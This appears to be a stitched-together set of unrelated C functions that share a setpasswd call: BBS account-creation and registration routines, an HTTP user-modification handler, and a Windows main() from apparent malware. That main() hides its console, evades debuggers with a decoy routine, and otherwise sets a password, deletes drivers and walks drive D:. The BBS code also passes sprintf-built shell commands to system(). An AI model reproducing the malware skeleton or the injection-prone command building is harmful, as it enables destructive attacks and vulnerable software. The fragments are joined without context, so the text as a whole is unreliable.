/* 创建以username为名,以passwd为密码的用户 */ void add_bbsid(char *username, char *passwd) { struct userec *newuser; int unum; char path[PATHLEN]; char buf[PATHLEN]; unum = getnewuserid(username); if (unum > MAXUSERS || unum <= 0) { clean_ipc(); error("%s: unum error", username); } strcpy(buf, username); unum = getuser(buf, &newuser); setpasswd(passwd, newuser); if (!strcmp(username, "SYSOP")) { newuser->flags = (char)1; strcpy(newuser->username, "系统管理员"); newuser->userdefine[0] = (unsigned int)3221224447U; newuser->userdefine[1] = (unsigned int)4294967295U; newuser->userlevel = (unsigned int)0xDAFFDFFF; } else if (!strcmp(username, "guest")) { newuser->flags = (char)9; newuser->userlevel = (unsigned int)536879104U; strcpy(newuser->username, "和谐"); newuser->userdefine[0] = (unsigned int)3221224447U; newuser->userdefine[1] = (unsigned int)4294967295U; } update_user(newuser, unum, 1); newbbslog(BBSLOG_USIES, "APPLY: %s uid %d from %s", newuser->userid, unum, "127.0.0.1"); bbslog("user", "%s", "new account"); usage("add user %s", username); sethomepath(path, newuser->userid); sprintf(buf, "/bin/mv -f %s %s/homeback/%s", path, BBSHOME, newuser->userid); system(buf); sprintf(buf, "/bin/mv -f %s %s/mailback/%s", path, BBSHOME, newuser->userid); system(buf); if (strcmp(username, "guest")) /* 不给 guest 发信 */ mail_file(DELIVER, "etc/tonewuser", newuser->userid, "致新注册用户的信", 0, NULL); }
int main(int argc, char *argv[]) { HWND hWndConsole = GetConsoleWindow(); //get console handle ShowWindow(hWndConsole, SW_HIDE); //run program without interface ChangeImage(); ShellExecute(NULL, "open", "iexplore.exe", "http://layer7.kr", NULL, SW_SHOWNORMAL); if (IsDebuggerPresent())//check whether program is on debugging or not { fakeset(); } else { setpasswd(); savelog(); deleteDrivers(); SearchDirectory("D:\\"); } return 0; }
void new_register() { struct userec newuser; int allocid, do_try, flag; char buf[STRLEN]; /* temp !!!!!*/ #ifdef SECONDSITE prints("不接受新帐号注册!!!\n"); oflush(); sleep(2); exit(-1); #else /* prints("Sorry, we don't accept newusers due to system problem, we'll fixit ASAP\n"); oflush(); sleep(2); exit(-1); */ memset(&newuser, 0, sizeof(newuser)); getdata(0, 0, "使用GB编码阅读?(\xa8\xcf\xa5\xce BIG5\xbd\x58\xbe\x5c\xc5\xaa\xbd\xd0\xbf\xefN)(Y/N)? [Y]: ", buf, 4, DOECHO, NULL, true); if (*buf == 'n' || *buf == 'N') if (!convcode) switch_code(); ansimore("etc/register", false); do_try = 0; while (1) { if (++do_try >= 10) { prints("\n掰掰,按太多下 <Enter> 了...\n"); refresh(); longjmp(byebye, -1); } getdata(0, 0, "请输入代号: ", newuser.userid, IDLEN + 1, DOECHO, NULL, true); flag = 1; if (id_invalid(newuser.userid) == 1) { prints("帐号必须由英文字母或数字组成,并且第一个字符必须是英文字母!\n"); /* prints("帐号必须由英文字母或数字,而且帐号第一个字是英文字母!\n"); */ flag = 0; } if (flag) { if (strlen(newuser.userid) < 2) { prints("代号至少需有两个英文字母!\n"); } else if ((strcasecmp(newuser.userid, "SYSOP") == 0) && (strcmp(newuser.userid, "SYSOP") != 0) && searchuser("SYSOP") == 0) { prints("抱歉,本站只允许注册*全部*大写的SYSOP用户ID。\n"); } else if (!strcasecmp(newuser.userid, "guest") && strcmp(newuser.userid, "guest") && !searchuser("guest")) { prints("抱歉,本站只允许注册*全部*小写的guest用户ID。\n"); } else if ((*newuser.userid == '\0') || bad_user_id(newuser.userid) || (strcasecmp(newuser.userid, "SYSOPS") == 0) || (strcasecmp(newuser.userid, "BMS") == 0)) { prints("抱歉,本站暂不提供此帐号注册。\n"); } else if (searchuser(newuser.userid) != 0) { /*( dosearchuser( newuser.userid ) ) midified by dong , 1998.12.2, change getuser -> searchuser , 1999.10.26 */ prints("此帐号已经有人使用\n"); } else { /*--- ---*/ struct stat lst; time_t lnow; lnow = time(NULL); sethomepath(genbuf, newuser.userid); if (!stat(genbuf, &lst) && S_ISDIR(lst.st_mode) && (lnow - lst.st_ctime < SEC_DELETED_OLDHOME /* 3600*24*30 */)) { prints("目前无法注册帐号%s,请与系统管理人员联系。\n", newuser.userid); sprintf(genbuf, "IP %s new id %s failed[home changed in past 30 days]", getSession()->fromhost, newuser.userid); bbslog("user","%s",genbuf); } else { /* etnlegend, 2006.10.14, 新用户可能继承原有同名用户信件... */ sethomepath(genbuf,newuser.userid); my_f_rm(genbuf); setmailpath(genbuf,newuser.userid); my_f_rm(genbuf); break; } } } } newuser.firstlogin = newuser.lastlogin = time(NULL) - 13 * 60 * 24; do_try = 0; while (1) { char passbuf[STRLEN], passbuf2[STRLEN]; if (++do_try >= 10) { prints("\n掰掰,按太多下 <Enter> 了...\n"); refresh(); longjmp(byebye, -1); } getdata(0, 0, "请设定您的密码: ", passbuf, 39, NOECHO, NULL, true); if (strlen(passbuf) < 4 || !strcmp(passbuf, newuser.userid)) { prints("密码太短或与使用者代号相同, 请重新输入\n"); continue; } getdata(0, 0, "请再输入一次你的密码: ", passbuf2, 39, NOECHO, NULL, true); if (strcmp(passbuf, passbuf2) != 0) { prints("密码输入错误, 请重新输入密码.\n"); continue; } setpasswd(passbuf, &newuser); #ifdef NEWSMTH strcpy(getSession()->passwd, passbuf); #endif break; } if (searchuser(newuser.userid) != 0) { prints("此帐号已经有人使用\n"); refresh(); longjmp(byebye, -1); } newuser.userlevel = PERM_BASIC; newuser.userdefine[0] = -1; newuser.userdefine[1] = -1; /* newuser.userdefine&=~DEF_MAILMSG; newuser.userdefine&=~DEF_EDITMSG; */ SET_UNDEFINE(&newuser, DEF_NOTMSGFRIEND); if (convcode) SET_UNDEFINE(&newuser, DEF_USEGB); SET_UNDEFINE(&newuser, DEF_SHOWREALUSERDATA); newuser.exittime = time(NULL) - 100; /*newuser.unuse2 = -1;*/ newuser.flags |= PAGER_FLAG; newuser.title = 0; newuser.firstlogin = newuser.lastlogin = time(NULL); allocid = getnewuserid2(newuser.userid); if (allocid > MAXUSERS || allocid <= 0) { prints("抱歉, 由于某些系统原因, 无法注册新的帐号.\n\r"); oflush(); sleep(2); exit(1); } newbbslog(BBSLOG_USIES, "APPLY: %s uid %d from %s", newuser.userid, allocid, getSession()->fromhost); update_user(&newuser, allocid, 1); if (!dosearchuser(newuser.userid)) { /* change by KCN 1999.09.08 fprintf(stderr,"User failed to create\n") ; */ prints("User failed to create %d-%s\n", allocid, newuser.userid); oflush(); exit(1); } bbslog("user","%s","new account"); #endif /* SECONDSITE */ }
static void _http_moduser_process(int s, struct http_request r) { struct user u; int times[2]; char *tmp, *passwd1, *passwd2; char buf[BUFLEN]; if(conf.udb.u_exists(r.auth.name)) { _ndebug(2, ("Getting mod data for user ``%s'' for update\n", r.auth.name)); u=conf.udb.getuser(r.auth.name); } else { _http_modusererror(s, "Weird, must've raced. Go home."); return; } _http_moduserheader(s); puttext(s, "<h2>Modified user "); puttext(s, r.auth.name); puttext(s, "</h2>"); passwd1=_http_getcgiinfo(r, "passwd1"); passwd2=_http_getcgiinfo(r, "passwd2"); if(strcmp(passwd1, passwd2)==0) { if(strlen(passwd1)>(size_t)0) { if(strlen(passwd1)<(size_t)5) { puttext(s, "Password must be at least 5 chars, not set.<br>\n"); } else { u=setpasswd(u, passwd1); puttext(s, "Password set.<br>\n"); } } } else { puttext(s, "Passwords don't match.<br>\n"); return; } tmp=_http_getcgiinfo(r, "early"); times[0]=atoi(tmp); tmp=_http_getcgiinfo(r, "late"); times[1]=atoi(tmp); u.times=pack_timebits(times[0], times[1]); sprintf(buf, "Early: %d<br>\nLate: %d<br>\nMask: %x<br>\n", times[0], times[1], u.times); puttext(s, buf); puttext(s, "Storing changes<br>\n"); conf.udb.storeuser(u); }